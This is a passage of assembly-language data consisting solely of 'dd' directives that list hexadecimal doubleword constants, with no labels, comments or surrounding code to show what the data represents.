		dd 0FC1F3C7Ch, 65690054h, 2BBA403Eh, 50DC094Fh,	4E698177h
		dd 42F14820h, 7C6E4E20h, 0D670AB1Dh, 0EFAC42C0h, 11C19836h
		dd 6F98035h, 77F0F2CEh
		dd 0AF718Ch, 0EC4566ABh, 0D497D701h, 0BF419E02h, 0E5BD93BEh
		dd 6079E4C4h, 256CCBE7h, 0B497611Eh, 5847B91h, 58ACAD3Eh
		dd 0DD350059h, 0A2D2381h, 0CA0F0BF0h, 0C8EBB394h, 482AABF8h
		dd 537C8F0Dh, 43E39C1h,	9D579DCh, 715451BDh, 1CFB180Eh
		dd 9F0F0131h, 0D7AC0B87h, 0EF41F4C8h, 78549B40h, 2D289EF0h
		dd 4591F817h, 8C5AC680h, 400029B5h, 617EE9F9h, 1095203h
		dd 2BF168B2h, 0C93D6283h, 0A102EBB9h, 8F7E6C41h, 0FBF4CA5Ch
		dd 0E85570C4h, 8ECF2C01h, 0DFAF57DEh, 0F2B94892h, 306BE2A0h
		dd 12072154h, 0F2A30ADAh, 0B4968150h, 0C0EE5239h, 89EA0801h
		dd 515C7D97h, 3E801E9Ch, 1DCFB44Bh, 8E69114Ch, 1A700136h
		dd 0DEDC4C29h, 90D2E4A7h, 0CAB517A8h, 4D0C006Eh, 7FCF1E2Bh
		dd 0B87D9800h, 0AB1D621h, 3CD835CAh, 23B43A78h,	0B0DF000Dh
		dd 0F010838Eh, 6717C278h, 0B804D144h, 0DC02020Ch, 0CD41A9Fh
		dd 69B8B500h, 3CE5EEDh,	487A6020h, 0CA995209h, 52C6CFBh
		dd 0A3A04DBBh, 898134D7h, 507CDCB7h, 4E43FCECh,	38D4FA04h
		dd 1850B02Fh, 620F9CB1h, 0C0228A48h, 0AF98CA85h, 0FA7CC0A8h
		dd 5F718836h, 891030BAh, 8B004C70h, 59C21795h, 293B541Eh
		dd 0EDB0481Bh, 0A79B30CEh, 0E32C2801h, 108E6ED1h, 78F8402Ah
		dd 9C84BEAh, 50191F07h,	0AEE38747h, 3896D9B9h, 57AAC984h
		dd 0EEB8993Fh, 3AB81640h, 0D41830B3h, 0C4F231h,	1CA1D9A5h
		dd 5E17DB2Ch, 10B5D71Dh, 0E0B17933h, 59B1634h, 7048A832h
		dd 0E8AD53h, 9D412BAEh,	1A4C3569h, 897BF3F1h, 477994F9h
		dd 0E3008318h, 0DC7E109Fh, 0E0484AA1h, 21C8A042h, 5B412670h
		dd 0D1C8A970h, 9A41867h, 5062B121h, 0FC593C00h,	0E55D1371h
		dd 35BD278Ch, 0FEBC80B0h, 7F1C4ED1h, 0BFD6B305h, 3CC5A73Fh
		dd 0D9A02C27h, 2CE9A13h, 99B09FE9h, 360165A7h, 984DED37h
		dd 48B10C66h, 0EE2FC415h, 89141D7Bh, 989806F2h,	2598B529h
		dd 30215297h, 33FC25ECh, 304EB2CCh, 9507DA49h, 903EB24Bh
		dd 74B8B9F0h, 9C6E5CD6h, 0CC00788h, 5E506172h, 0FC482DBBh
		dd 59017283h, 0F9B0BA81h, 0A880F7B3h, 589A1A33h, 310B658Ah
		dd 5A4E018Bh, 79D82644h, 0FBF98404h, 0E8091FC0h, 0B118A3C4h
		dd 6E398896h, 1E380534h, 2B32862Eh, 4EFC104Ch, 190524CFh
		dd 80108474h, 76533E5Ch, 0CF3320C0h, 1A73B77h, 3D93D6AFh
		dd 7856504Fh, 43F1BCC8h, 1E35004Eh, 0F5F33B19h,	2FAB4F36h
		dd 7B233Ch, 0BEA9D5E8h,	3000DA04h, 81E9A392h, 0ED072258h
		dd 0C83C7AF5h, 0A0B69ACEh, 95167258h, 648B97B0h, 3056D4C4h
		dd 1E5160h, 4CFC5B74h, 589F263Bh, 0E408AF09h, 0E210E54Eh
		dd 5C1A4FEEh, 943F9468h, 7AB87080h, 7903B47Dh, 0A9322C81h
		dd 121A8090h, 425A4C0Bh, 9B809900h, 2883F120h, 0C492374Ah
		dd 94C05763h, 0C500E38Dh, 58AB543Fh, 14D7D27h, 9CE2292Ah
		dd 6B7BACCBh, 40186C07h, 7AE47291h, 0D8BC4C69h,	99B8EE04h
		dd 6890F5D7h, 12A220ADh, 0C190E5D6h, 7956513Ch,	5C23B838h
		dd 5A01F053h, 40CAE0A1h, 0B0062FCBh, 3E897FB5h,	7203C8DFh
		dd 4F47536Bh, 0A4C0CEF0h, 717C1817h, 761DCA0h, 0D436EF19h
		dd 638AC07h, 0A883443Ch, 0B60024B3h, 27BBB9CAh,	19C039Bh
		dd 9196474Eh, 0E6517416h, 18533600h, 7BA0A930h,	0D45D3422h
		dd 0E80124B8h, 0DBD3DF81h, 8072BBA5h, 0DF306BF2h, 41690152h
		dd 1EDE2875h, 0AD7CC861h, 9F482195h, 0B0004B66h, 52130A10h
		dd 8F1E7A0h, 7C8D6052h,	64465CA0h, 0C5A42801h, 30699B98h
		dd 0A75EF2F0h, 47C4A88Bh, 0BFEB3057h, 0FC06543Dh, 5DEC0092h
		dd 0C8048F77h, 0E00354Ch, 7B2D4D9Eh, 0FC7C5603h, 45890EEh
		dd 550789FAh, 0CDB5323h, 0F40C3A80h, 63138E0Fh,	14E45F7Ah
		dd 312620A7h, 5660F201h, 90E4850h, 4DFA9C41h, 0B12E14D0h
		dd 7445A568h, 30674E64h, 96B0CE55h, 3C0060B2h, 3DE96B2Bh
		dd 5B067319h, 980C2016h, 3680FB83h, 3C6626B4h, 54E882A4h
		dd 60E42BA4h, 8015A73Bh, 0A9D729BEh, 0B288583Bh, 4F62202Ch
		dd 280D2E2Ch, 369F2DC0h, 2588B298h, 380EEB41h, 0C6CA29E7h
		dd 63D29D7h, 0A51300ADh, 0EF0D67B7h, 79FD612Ch,	52128931h
		dd 44E4B0E0h, 0BFFF3B1Eh, 0B434CC80h, 13D6B1Eh,	0C04BA159h
		dd 0C4806EA6h, 37342635h, 0A408E91Ch, 0A261C043h, 0DA46B80Fh
		dd 0FE004522h, 3B6DA538h, 5ED0971h, 7EEF2DD6h, 0E0A09169h
		dd 95CA0172h, 23142F2Ah, 64DD00EEh, 7FDE0EF8h, 9CB6D5F4h
		dd 0C0F3163Eh, 64F284E2h, 40306730h, 454074F1h,	897E160Eh
		dd 1C8CC08Fh, 2E12D7E3h, 0C439AB3h, 90124236h, 2A93AB9h
		dd 65D8C8EDh, 0B8478F4Ah, 42614544h, 0C1003C01h, 0E264C418h
		dd 10FE1830h, 639DEA7h,	0E90974F0h, 0C9472518h,	274C7C40h
		dd 0F8B82148h, 4C0F8C69h, 401C6BEEh, 9FDBD651h,	0AD89652h
		dd 2438BE6Eh, 0A34674A8h, 0A980C53Ah, 5B5D3A31h, 0DD0D7702h
		dd 61D03EA7h, 527010C6h, 0B202797h, 8E8F945h, 0DDE09B4Bh
		dd 4B49BB40h, 0E81CCFECh, 17370BF0h, 0D4708574h, 3426875Bh
		dd 0D4492518h, 783E2852h, 38D38076h, 4FD66DEFh,	6C07502Ah
		dd 66750F5Fh, 280B930h,	929FC841h, 0B6E5231Dh, 5064007Ch
		dd 898194CAh, 10AF08FDh, 40343739h, 0A3BC40ACh,	9F6A1F8Ch
		dd 0FE035E4Bh, 0E86F1880h, 0DC997F4Dh, 89DD4Bh,	0DF3E5683h
		dd 66B00817h, 7B2F88CFh, 76AC4995h, 7CFA09C6h, 73973844h
		dd 771578E4h, 8813B554h, 9C1B83B8h, 0BF265E02h,	0E010E174h
		dd 17F6941Dh, 1306EE4Bh, 0F0C3057Ah, 0F9C054CAh, 53CF1B02h
		dd 38D1EC73h, 0F3187A79h, 4D10444Ch, 5021BC60h,	0B5B4AAh
		dd 1ACF51B8h, 0D58088C4h, 0ECCE495Ah, 304EFC84h, 4B5D4B1h
		dd 0F1270B67h, 0C84C8E61h, 0FDB2C007h, 0E207D7BAh, 0D69ED949h
		dd 0C615C13Eh, 0A4448138h, 14F02812h, 0B4180107h, 28FC0E67h
		dd 17DC7C09h, 0A890DF36h, 4B801850h, 5AC5E26h, 928D4E8h
		dd 3C76B008h, 0A5870E81h, 0F9E0A96Ch, 146A5C03h, 54FDDC04h
		dd 6012AEEEh, 0FC8008Bh, 775480CEh, 1D52C3Eh, 5D966ED9h
		dd 7F9C6D0Eh, 0BD071C6Eh, 895FB73Dh, 0B05BB8E4h, 0E005A040h
		dd 0E9B71A6h, 28DBAB65h, 0E656CCE0h, 470BD01Dh,	0ABC4109Eh
		dd 13CC460h, 0F424CC44h, 303E6489h, 30461AACh, 481A53C7h
		dd 0F327053Ah, 3894B787h, 0D0C0B49Bh, 43319A24h, 0D4C31204h
		dd 12EE70C5h, 0E0B0F634h, 1EDF54BAh, 40F24226h,	0D0B9D71Ah
		dd 0ECA8EB99h, 3109AAD2h, 0C771918Ah, 60046490h, 9A3549h
		dd 0DBA2368Ah, 0F65DC31Eh, 8FB57414h, 65704A4h,	0BCF3E5F2h
		dd 633043E2h, 0A17802E5h, 2D3D65ABh, 4318BC48h,	58073626h
		dd 0A43FC826h, 0E821E0D4h, 0E42C6525h, 0C10863EEh, 0EA705040h
		dd 4424A74Eh, 0B4BD6003h, 0FA6703B9h, 47EAACE5h, 617E6CF9h
		dd 0C049A71Ch, 0B3F16A0h, 0EF68C4F4h, 24893012h, 0B442F04Fh
		dd 1EBCF973h, 0D13B4053h, 81244CE4h, 15DCB300h,	0F1C1F550h
		dd 0CB5F34D2h, 9CC48E28h, 0A4803AE3h, 0B775F97Ah, 87D81A0h
		dd 9A1A1E09h, 911497BCh, 93FD8079h, 1C290762h, 957ECC4Bh
		dd 0A58E83Ah, 759C44h, 0A512AB6Dh, 0C14DCCEDh, 0F4D3E54Ah
		dd 43A4B067h, 0B3C615D7h, 907C8C61h, 302B0132h,	0C10B741h
		dd 0D626D04Fh, 2598A14Dh, 116417ABh, 884B8049h,	2718ACF3h
		dd 0C4A265CCh, 1C4772AFh, 0EB6004C4h, 4E004ACBh, 24C04C77h
		dd 16BF6C76h, 0CB5D6938h
		dd 0C164C82Ch, 6B109206h, 4645C447h, 75638D27h,	28D8B812h
		dd 3E8F2744h, 545268A0h, 4100376Eh, 0B88D8427h,	2B174A5h
		dd 55D7DD97h, 0C8F4C77Ch, 6B060D01h, 0B2EB1E58h, 0A3D4E8EBh
		dd 0D0F491A9h, 8656DFh,	3099C0B6h, 32AC499Ch, 40B9E000h
		dd 3711F331h, 0D0C895A2h, 56021EF0h, 700EEF49h,	922C5452h
		dd 7468E438h, 98C2E400h, 6A5F2D8h, 9BCCFA72h, 0AF378A4h
		dd 0F4BEED1Fh, 77B28340h, 589E64h, 3689FAAFh, 71F3A04Dh
		dd 8400D09Eh, 0A773AD1Eh, 39F1E38h, 0B27D8470h,	0D954E454h
		dd 84092A0Bh, 6010ED32h, 0B4946856h, 0E403395Eh, 8A9D81E9h
		dd 90CD157h, 74E8BD7Eh,	0A5F9FDEh, 0CE6E6801h, 7A2AF3E4h
		dd 0DF0201B0h, 0D1BE3760h, 5AB6C270h, 521842FCh, 84FEA7A0h
		dd 7E419F00h, 9DE61939h, 2600C437h, 0E9878D4Bh,	2DE3162Eh
		dd 0F294F2E5h, 658E30F9h, 0D7A9FF00h, 9D198C87h, 20AD00F1h
		dd 0BD7D2BC2h, 0B0BCCF70h, 0E4676h, 0E1B35845h,	21E2D08h
		dd 0FDBD8FCFh, 30DB6E7Dh, 12533078h, 0F4AC7540h, 78B4B050h
		dd 5E55C68Fh, 76DC7Dh, 0DB4DCF08h, 0B9721927h, 180ED1A4h
		dd 982600DCh, 8BE001E7h, 0F0B93739h, 0F9609CD3h, 0EF009984h
		dd 6BD8EC6Eh, 4E6D69Eh,	0D9E918BFh, 0F1B8F292h,	0F30C56D4h
		dd 0E65E1B00h, 0ED4E46F9h, 202EF16Ch, 0FF34FC34h, 12E0D38h
		dd 0B6BA98F1h, 0EFE0D466h, 44E4FEAh, 0AB4502B8h, 5216DC6Eh
		dd 0B5881FEh, 741A003Bh, 0CC849DE5h, 0F204A1AEh, 43755h
		dd 68A68F6Ch, 4D01EA0Dh, 48539FC0h, 0A0205CDAh,	0CE954AB2h
		dd 0C06688ECh, 8D9BFB7Bh, 0B018530Bh, 20804676h, 0B30055CEh
		dd 5D518F89h, 5BCCF009h, 80249458h, 197C1B0Fh, 59B4859Dh
		dd 885F48A4h, 0AC701E96h, 0CE6D300Bh, 0A0B0D004h, 9A94F06Ch
		dd 93EA2600h, 0F9217470h, 5CC1804Fh, 0D7D4CE35h, 0A1E1E200h
		dd 0F7698B49h, 51590058h, 2C24BC42h, 0D0EF3A79h, 6E06D406h
		dd 28DCE117h, 0B7C43911h, 0A8B27700h, 50A5D092h, 215808CCh
		dd 0C4CE066Bh, 109454ECh, 0B16F50C7h, 6D170048h, 8F7E6518h
		dd 7203BDFCh, 0ECF9D38Ch, 91B5F26Fh, 6BC8CB34h,	91C821B2h
		dd 0C4C26760h, 80ED2211h, 898D7200h, 0ED02DFBh,	69A80397h
		dd 3E98C41h, 3F1E5BB1h,	0A27D10C0h, 2DA100BAh, 0F1524BFCh
		dd 20C0B3A7h, 0D1A5148Dh, 1098620Fh, 88A1BF36h,	9177355h
		dd 2188540Ah, 9CAA05C0h, 5B1E0053h, 667B4001h, 551B0624h
		dd 2390602Eh, 230B658h,	0A750B26Ch, 0C76400B4h,	0E98F33C4h
		dd 15C2E32Eh, 29250906h, 0AC0A0051h, 17CBC061h,	520059E0h
		dd 405A7088h, 584437F8h, 6E0ADE65h, 80A018EDh, 7E13BC8Ch
		dd 0B00CE294h, 8B2AD2Bh, 5221C08Eh, 282A13B4h, 0AE312103h
		dd 0C0C07475h, 605DCB93h, 33D46024h, 0FCA85398h, 83050F79h
		dd 0F4F5CB90h, 0C9631044h, 9903EC0Fh, 3100723Ch, 0B6E46DA6h
		dd 37C9588Eh, 463C8718h, 0B30021AAh, 969BE785h,	86A992h
		dd 373166F9h, 2C1BF6E5h, 3B81CB00h, 991FC736h, 0A7280327h
		dd 7CC65339h, 0F5AF3E90h, 29063B00h, 0C1880538h, 0CB58C0D3h
		dd 9F86EDEBh, 0EAEE6000h, 0AE85BD25h, 2E810714h, 46844294h
		dd 0D4004087h, 24ABC24Ch, 0CEEB78B8h, 0CB836578h, 117FDFDBh
		dd 45584300h, 387C2F40h, 0A709CC48h, 3B008B21h,	0F7FC7758h
		dd 1D26881h, 4576A3F6h,	8083AE84h, 69110268h, 0C3A0C14h
		dd 41B47454h, 330CC118h, 0B91FD36Ch, 0A51007Bh,	0BFA7A244h
		dd 0FF669AEFh, 1F210E08h, 460A48DEh, 81C2D525h,	471F1400h
		dd 0FA393386h, 61DA0C6Ch, 1B3038F3h, 0C8002974h, 0F68568A1h
		dd 75CC3A0Fh, 0DFBC006Eh, 0D62C1DFFh, 6F9056Fh,	29D4690h
		dd 0A2490A56h, 1013314Fh, 0A4DD9h, 0CC03D83Bh, 0E1709873h
		dd 0CBE81A60h, 602C9FFAh, 485A88C1h, 3B502ABAh,	9C40E280h
		dd 0C7730024h, 47B81AB2h, 0A50ADFA1h, 60433CCBh, 0AE648C00h
		dd 0C77B4D6h, 9FAD1C0Fh, 21C08408h, 0AFAE6CF9h,	126201B8h
		dd 8043E22h, 6808206Bh,	1BC71A03h, 0E12D0F80h, 18800654h
		dd 8F3FDAB2h, 62EE2B56h, 0F8C8EB2Bh, 50584600h,	867F4740h
		dd 8AAE44h, 36BB583Eh, 5682FCC2h, 68CB19C6h, 24DB7C58h
		dd 1124EE4Ch, 584980C9h, 0A43F4057h, 8DD3442Ch,	5E584125h
		dd 43400CF0h, 702AA040h, 0D615DC29h, 26BC1868h,	7402CD24h
		dd 87B8F49Eh, 45C5A6E4h, 0AE699C60h, 4FB423D5h,	0FA009011h
		dd 4205AE91h, 0A7051335h, 0E0BC7143h, 769CAAC0h, 0DFD0A3E6h
		dd 2931ACh, 19DF01BAh, 4C92E181h, 0BDAE0607h, 4283597Eh
		dd 8D29388Eh, 82A04B80h, 8331E048h, 5A113204h, 5380FE6Ah
		dd 499254h, 0AD61433Ah,	0EF451F75h, 41C07F64h, 0D1AE9560h
		dd 116FB423h, 9DFE008Ah, 78E4F8AEh, 7AC7A68h, 323882DDh
		dd 1FB551h, 4B1B59F4h, 0D0A8EEE3h, 7E01D50Bh, 9F37706Bh
		dd 2ACB68DFh, 3AC0508h,	0FD7ECD32h, 318067EAh, 48DD2274h
		dd 88B4A615h, 0AE92C03Eh, 6746B4D0h, 0FF009122h, 9052AE9Ah
		dd 1DF5572h, 0C9F64C25h, 80F2E3E7h, 19D8AD99h, 1459AE47h
		dd 0F473D6B5h, 0F8063D80h, 3E6F5C4Dh, 0A4428351h, 0D01FA5B2h
		dd 3020FE12h, 0C30FD3CBh, 0C8EF6139h, 0C51EA7E9h, 0F639F802h
		dd 74019777h, 0B2F26524h, 2C32D0BDh, 5DFE5A00h,	0DC856008h
		dd 0B0D8D703h, 98F409F7h, 25193D6h, 0D514AA4Bh,	0EC410B86h
		dd 0A69192FBh, 9623D82Fh, 8800FA2Ch, 39F7E5CFh,	65F41455h
		dd 3210B43Ah, 0F5071499h, 832C4091h, 0E9C04179h, 0AEA45468h
		dd 32D20147h, 788F11EDh, 13882ABh, 446B3059h, 2494600h
		dd 70697ED7h, 0B9FC31C7h, 7ECF0521h, 2C8093B9h,	309E71EFh
		dd 4D58A28Ch, 3701E81Eh, 0C62F25ADh, 94369A33h,	460A5707h
		dd 0FC448A2h, 0A4ED841h, 2C0F37Ch, 8F0C91BAh, 211D7AD6h
		dd 11012A2h, 1EF400FCh,	4CF01C28h, 5B656300h, 0AD138D06h
		dd 0BEF0088h, 3219EECBh, 726F6ACh, 0FA01983Bh, 6C592BF4h
		dd 397AAC32h, 0D4029D4Ah, 0C60FDFB4h, 0B0C3EC6Dh, 70349022h
		dd 0DD0932B4h, 0E06E3AD0h, 4CDE0724h, 482886Fh,	24CD7BB7h
		dd 710C43Ah, 9E8EC718h,	135D7910h, 0A9441C86h, 0AE704AF6h
		dd 8D7B06C8h, 949051EFh, 0E4D7362Ch, 0CDC84990h, 61584DC2h
		dd 0C0365F70h, 8100AF22h, 57615845h, 496B0BE3h,	3A9248FDh
		dd 852350h, 682A6A8Dh, 6015D0Dh, 0CD62875Fh, 0B9AC1EA3h
		dd 11467400h, 58A84B00h, 0AB0687CCh, 140EA498h,	21AADBCEh
		dd 0A5E4ED33h, 0B01885C0h, 0CC8481C4h, 58084A18h, 0C467404Ch
		dd 429E41ACh, 0FAC41D58h, 0D1806398h, 2106C0D5h, 0FDEED6FCh
		dd 768C0042h, 8FEE803h,	0A20B3F02h, 22F94570h, 261D7458h
		dd 56018A0h, 60E84890h,	0FF5531FCh, 23FB7918h, 900B7B7Ch
		dd 37A7654Ah, 3FB90008h, 74EF16D4h, 5CDCD751h, 54B1439Ch
		dd 0A520039h, 62515D11h, 70C51271h, 0B4010C0Eh,	9CA09030h
		dd 0EC34B96Ah, 0C2EEA0FAh, 70403B18h, 8055B8A6h, 0A2F433B0h
		dd 0FD1E30AEh, 4F0DDD00h, 0C08E709Ah, 52B0C0A1h, 4DCB7B69h
		dd 24099172h, 20F8E09Dh, 0A120574h, 36D0176h, 0E248323Dh
		dd 80FD8F0h, 0F2913000h, 0D39B4BD1h, 0D6BCA821h, 1CF1008Dh
		dd 0C0EC47E4h, 404CBC48h, 9EFA82A4h, 5288A233h,	0B8DCC05Bh
		dd 0D81D60D0h, 9DF0556Bh, 0D4450901h, 8DEA684Ch, 30781C29h
		dd 6D49FAE3h, 0C100E587h, 0DFA29F21h, 4BAE39h, 989D909Ch
		dd 0CA47FF06h, 3B4AB402h
		dd 80EB5F82h, 6D31F440h, 58A64948h, 40C1CAC8h, 37CC5658h
		dd 0D244867Ch, 0C870F588h, 99EE00C0h, 3CA7AFCCh, 6A01F972h
		dd 9C4289F0h, 0DC4484AAh, 6891A4D9h, 81448BCEh,	7F5740C0h
		dd 9C345Ch, 9EED583Ch, 82163FB0h, 0AD391A73h, 0C7B30901h
		dd 0CB2C417Fh, 0D2F24033h, 1EFA30h, 46BCA251h, 425B6709h
		dd 6C27ED02h, 0A0D16FDBh, 0EE7A9AD8h, 5D3625FEh, 3A422898h
		dd 0AFC81C0h, 295B02B2h, 0CB8EC33h, 0B5213998h,	27DC0416h
		dd 0B9EA9404h, 303B70C2h, 0D317AE93h, 6C389FB4h, 0AE9B00ECh
		dd 4D97F239h, 240E3FA9h, 0E028ED1Ah, 46B4EC5h, 0C19B0037h
		dd 0B03A2C8Fh, 422EB9CAh, 1B12B0D6h, 0C038F008h, 0B4D2AE90h
		dd 8B229746h, 0AE98ED02h, 0E06F958Fh, 2479686Ch, 86CC0C09h
		dd 4C302C86h, 0B7463706h, 107701h, 321C7B2Bh, 0BB6C7640h
		dd 4AFBF50Eh, 86D42746h, 205E90C1h, 8A3C2181h, 0D8A5CF03h
		dd 9D667A64h, 0B213909h, 0FF03825Ch, 200918Fh, 0C137D16Dh
		dd 0C51BD198h, 0BF582407h, 8A7417B0h, 0A6821C22h, 0C9660034h
		dd 0FD3B407Ah, 0E081AB60h, 0CFF411Ch, 0AA32876Fh, 44741AA0h
		dd 0CE60B0C0h, 0CC98ADFh, 0C13640BAh, 21C05A09h, 0DBDFC680h
		dd 297700BDh, 4B48DB0h,	86804039h, 0ED5F3F6Ch, 7BBFBC0Ch
		dd 0F330EAA0h, 28887949h, 968CA97Ah, 39EF5D4h, 445690FFh
		dd 87760F7h, 72BC21C0h,	76D6A9F5h, 3557A84h, 70FF981Eh
		dd 7C80B57Dh, 3E0CBD6Eh, 48836CD5h, 0D0566420h,	0DFD46072h
		dd 0EAC92190h, 0DFCC86C0h, 8E9F00ACh, 72BFD52Eh, 0B528B7A6h
		dd 0C901E48Ch, 5450B203h, 9852867Ch, 0DFD0306Eh, 0CAC98C11h
		dd 82805988h, 0D455DFC8h, 49E5142Ch, 98008453h,	0B7266ECBh
		dd 68C19F99h, 4D360C3Fh, 10939108h, 0D0038B01h,	34187EA5h
		dd 835D88h, 450FB403h, 0F182A096h, 47C95903h, 281DDE7h
		dd 9513CD60h, 0D12E57D9h, 0D4038F80h, 0FF8C9EA5h, 3876110h
		dd 3EAD9900h, 0E7A84A3Fh, 0B9846121h, 15F09FCh,	60E8BD82h
		dd 43A4059h, 8F1C41C0h,	19B63C1h, 4D7C5809h, 5A7BDE7h
		dd 5E224481h, 41EC4092h, 0ACB82B24h, 4FA04377h,	490B2283h
		dd 80FC91DAh, 23DDBD56h, 1268913Dh, 792C6087h, 0FF219DF5h
		dd 71BBC088h, 0BDE687F5h, 0DE58E700h, 5FA0836Eh, 9D58A031h
		dd 0C500073h, 53F96D62h, 717FBA4Ah, 1F6E3507h, 65200156h
		dd 6005BF20h, 0D5A1C895h, 0EB01D1DBh, 23B353D4h, 50801D77h
		dd 500D286Bh, 61C092FBh, 0D59E886Eh, 39EF079Fh,	0C138344Ch
		dd 0A85CA085h, 7019D081h, 9C11B506h, 4404C7F0h,	993E5235h
		dd 8CBB8139h, 84B3209Ah, 21460898h, 39029173h, 47F5BD63h
		dd 3D94802Eh, 15162BA2h, 2C33228Eh, 9A01C823h, 94BB7739h
		dd 9274040Eh, 0AB0F9B39h, 4D5F1890h, 9BC7CD9h, 0ECFBF837h
		dd 93251480h, 1573FC07h, 8844FCA2h, 3B42DA00h, 0CF417E16h
		dd 5F19C687h, 130F2129h, 0A077F3A4h, 82529514h,	0E60B020Fh
		dd 96EDCFA9h, 74C4B88Ah, 3E725A46h, 7403F8ECh, 450675C5h
		dd 8ED3D902h, 60F1D881h, 48DC67h, 0AF713F97h, 0AC17A79Eh
		dd 3D2ABC3Bh, 1C758555h, 87C4AB31h, 0DFCF4020h,	0C2C9238Bh
		dd 81075811h, 4012DFC7h, 0A6844A80h, 0BDF80202h, 804C13FDh
		dd 36E06CA4h, 6DFA2A4Fh, 0B22B3F84h, 286416Fh, 0A5091923h
		dd 90830DBFh, 84442E1Ch, 90029646h, 0A6A5D503h,	62103531h
		dd 0E4030388h, 9308B731h, 1B901063h, 2BC60651h,	0B08142BEh
		dd 36A601B6h, 0E3D9FF64h, 1B34605Ch, 13BC6C49h,	2C3A76F0h
		dd 5003923h, 5695895Fh,	0EE060D94h, 0F9888B47h,	8D5C001Fh
		dd 80CD7B41h, 2B2AD640h, 29F0DCC0h, 42197F67h, 72D1E460h
		dd 80FC1CE1h, 8A312D7h,	0D3C07114h, 46C98FDFh, 5522E2h
		dd 0BEDFCB85h, 0D3B9FFD1h, 92E86B67h, 5A6C0370h, 74D64C9Dh
		dd 0DE013700h, 0D285A193h, 23080A48h, 0DFD1036Fh, 8EFCC98Dh
		dd 80833E48h, 75E671DFh, 0D80B073h, 46BA2C6Eh, 0AA2BF421h
		dd 0D6EC3A50h, 0FCD83848h, 96008C4Ch, 7F57A3B5h, 240185C5h
		dd 402C1BE0h, 0CD079BBh, 8E247B00h, 3D8B0EE5h, 0A12879F3h
		dd 8D1893E8h, 0A5D20308h, 4037C48Eh, 0CD03855Fh, 0A581F4Ah
		dd 0E760C011h, 530BB1A7h, 3798A4A0h, 8EDB5907h,	5D60402Bh
		dd 37B06F18h, 0B091C941h, 0F631AFC6h, 487B24h, 0F1DBDC00h
		dd 34B27587h, 84869A3h,	98C0C684h, 46BB7539h, 1472284h
		dd 53399072h, 80882842h, 48160A69h, 3EC2319h, 597B8C20h
		dd 1EB0605Eh, 0BC79426Eh, 99939205h, 0ACD2D7A9h, 7E84418Bh
		dd 84411E21h, 83045153h, 14D46B88h, 0C1980058h,	69A7C845h
		dd 3E262813h, 2948A0E4h, 3C81C080h, 93CB12AFh, 7ADF3B07h
		dd 4F60591Dh, 0C1349DF9h, 61E7A7B8h, 0F0F4219Ch, 0F8C8F52Ch
		dd 399FC0CDh, 0BC46BB7Ch, 79004D22h, 9CB13997h,	0EE6523D5h
		dd 5772EF1h, 71E540D8h,	112F8ACh, 3413C0DFh, 4923383Fh
		dd 0EA27D800h, 54B72C4Ch, 6728E854h, 65A6F184h,	0CB168008h
		dd 0BA901115h, 59C1301Dh, 9891D4h, 0CF823823h, 2901F5A7h
		dd 7178215Fh, 57184Fh, 0CEEA53ABh, 9EF3287Bh, 0DD000670h
		dd 0DC4FE7ACh, 94AB1413h, 57465C7Ch, 0C9811D38h, 0CFCDBBC3h
		dd 0A1F8402Fh, 0F51955F4h, 0CE101E3Fh, 38BCF028h, 0D14268Ch
		dd 0F8CC006Eh, 47FE8F46h, 2C500A3Ah, 9D80D895h,	0B1987008h
		dd 7DF92A7Eh, 4680B0ACh, 0F5750283h, 3168FF99h,	6DB7108Bh
		dd 65B200F5h, 7701B515h, 0D24CF45h, 0A002348Dh,	0A2489D85h
		dd 0A0521BA8h, 67BEA380h, 6580001h, 8736B9F5h, 5D008C9Ah
		dd 43F928E5h, 413EAF7h,	931F950Bh, 0B859817Bh, 0A6E4745Bh
		dd 42493516h, 9DF67C09h, 804E1164h, 7B49E206h, 0E10031Fh
		dd 228C7C6h, 0EBB62BC1h, 23F86948h, 0DFD50173h,	63F2C991h
		dd 0CD8780CCh, 16119DDFh, 298C8EB3h, 0A8D429A8h, 99650716h
		dd 0E0F2A692h, 5BCE5EA4h, 4DC7CD10h, 4FDA0104h,	1D8D0B42h
		dd 805D1150h, 75CD66B7h, 71110033h, 0A74B6C56h,	40613FA9h
		dd 0E1035D58h, 8FB8B82Ch, 42B4028Ch, 0EB621BACh, 86C934E0h
		dd 4770CB81h, 598CA036h, 90486166h, 8A98C641h, 842F5F41h
		dd 4B505880h, 50D85AE2h, 0F2A008h, 463E1D19h, 1263A832h
		dd 39852A34h, 5ED7A481h, 839A0717h, 110B5057h, 37F50203h
		dd 0AFA7837Ch, 0E7F845A4h, 0D30E85FEh, 0ACFC082Ch, 39F7C84Eh
		dd 2706F489h, 0E97EE1E7h, 97326DA0h, 9104FCACh,	0AEA5D603h
		dd 63C0C0B2h, 0EC970389h, 336DE405h, 0E488B42Ch, 0F22B10C9h
		dd 0EF9D0649h, 2E68A245h, 88EC7E10h, 0F8A44DFBh, 3F89B118h
		dd 0A214BFCh, 5648868Ch, 763946h, 0F2E37B6Ch, 0BF31A2Bh
		dd 89ACA259h, 121037E0h, 97200CFh, 0E7500B6Fh, 50898D2Ch
		dd 50880592h, 8CED21EFh, 65B8E08h, 78D124A7h, 74028246h
		dd 60FF98F5h, 0B6108D31h, 3C00F56Ch, 9086CD55h,	9FEDADCh
		dd 3F9F856Dh, 10495491h, 0FA439EC4h, 736218B9h,	4FA9D08Fh
		dd 5286C48h, 25FBD5BBh,	2BA72CD0h, 0B73C00C2h, 1DD2130Bh
		dd 0D1D049E7h, 398E14DCh, 8C35F8C0h, 7390AF02h,	0E014A40Fh
		dd 252C4408h, 1CB5AA96h, 31F1D180h, 0EFF62FAh, 7CF439A1h
		dd 5FABB9A2h, 54E1ACEBh, 67CBD07Bh, 5DEFA80Ch, 1343C8A0h
		dd 0CE36D233h, 0C033C82Ch, 56BC683Ch, 10AB852Eh, 3BFDBB41h
		dd 85A48FC6h, 0C42251A1h, 0F0DE2055h, 2C009E1Dh, 84BCFDF2h
		dd 74109F94h, 5246008Eh
		dd 231DEF78h, 45703DC2h, 0A77AA97Dh, 0B8A6FD30h, 13145429h
		dd 4CA4031h, 21A14144h,	7A02527Eh, 0D4DAC80h, 1312714Bh
		dd 344043B2h, 868CBF3h,	399D636h, 570E333Ah, 0B7A92004h
		dd 24E17DD1h, 59E2DC72h, 3FB89E30h, 8D241A72h, 0D1220224h
		dd 9CAA2D5Eh, 0FDBE00C5h, 5BC25128h, 9CC83103h,	0C0D84573h
		dd 601A7CDCh, 0BEDD5148h, 2D010991h, 928B1EABh,	90E47DD0h
		dd 0E86E50C6h, 632C0F69h, 1840A2FFh, 0C274D0BDh, 52BED0C5h
